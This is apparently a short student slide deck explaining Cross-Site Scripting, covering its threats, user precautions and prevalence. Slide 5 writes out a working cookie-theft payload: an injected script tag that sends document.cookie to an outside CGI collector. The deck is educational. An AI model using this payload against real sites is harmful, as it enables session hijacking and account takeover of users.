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Cross Site Scripting

Cross-Site Scripting (XSS) is a significant security vulnerability that allows attackers to inject malicious scripts into webpages viewed by users. By exploiting XSS, attackers can steal user data, including cookies and session information, leading to account takeovers and unauthorized actions. This article reviews the nature of XSS, its common manifestations, and threats it poses, and provides guidance on recognizing and mitigating these risks. Websites like FBI.gov, CNN, and Yahoo have all faced XSS vulnerabilities, highlighting its prevalence.

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Cross Site Scripting

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  1. LAÏMOUCHE El Hadj, DAVY Benjamin Information Systems Security Cross Site Scripting source : http://www.cgisecurity.com/articles/xss-faq.shtml

  2. What is Cross Site Scripting ? • Users data gathered by a website. • Usingmalicious code hidden in links, posts on a board or e-mails. • Encoded to belesssuspicious : e.g. in HEX. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  3. What does XSS and CSS mean ? • Often people refer to Cross Site Scripting as CSS. • CSS is also used for Cascading Style Sheets. • Whenyousee XSS youcanbe sure it’stalking about the securitythreat. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  4. What are the threats of Cross Site Scripting ? • Injection of JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user. • Account, users settings, cookie theft, false advertising is possible. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  5. How to : XSS cookie theft • Target a websiteusingcookies. • Test how itworks and whereit’s possible to insert code (e.g. enabled HTML in a form). • Javascript code : http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> source : http://www.cgisecurity.com/articles/xss-faq.shtml

  6. How to protectmyself ? • Follow links from the main website. • Be careful XSS canbeexecutedautomaticallywhenyou open an e-mail, read a guestbook … • Turn off javascript. • Encryptionisuseless. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  7. How common are XSS holes? • Websitesfrom FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs. • 10-25 XSS holes are foundeverymonth. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  8. It’s over • Any questions ? source : http://www.cgisecurity.com/articles/xss-faq.shtml

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